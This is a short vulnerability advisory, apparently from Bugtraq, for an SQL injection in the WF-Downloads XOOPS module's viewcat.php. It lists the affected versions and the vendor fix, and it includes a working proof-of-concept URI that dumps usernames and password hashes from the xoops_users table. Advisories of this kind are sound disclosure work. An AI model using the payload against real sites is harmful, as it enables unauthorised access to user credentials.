SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

BID:28129

Info

SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

Bugtraq ID: 28129
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 06 2008 12:00AM
Updated: Mar 12 2008 02:01AM
Credit: S@BUN is credited with the discovery of this vulnerability.
Vulnerable: SmartFactory WF-Downloads 2.0.5
SmartFactory WF-Downloads 3.1
SmartFactory WF-Downloads 2.05b
Not Vulnerable: SmartFactory WF-Downloads 3.2 RC1

Discussion

SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

SmartFactory WF-Downloads module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/modules/wfdownloads/viewcat.php?cid=999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+000,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*where%20pass

Solution / Fix

SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

Solution:
The vendor released WF-Downloads 3.2 RC1 to address this issue. Please see the references for more information.

References

SmartFactory WF-Downloads XOOPS Module 'viewcat.php' SQL Injection Vulnerability

References:

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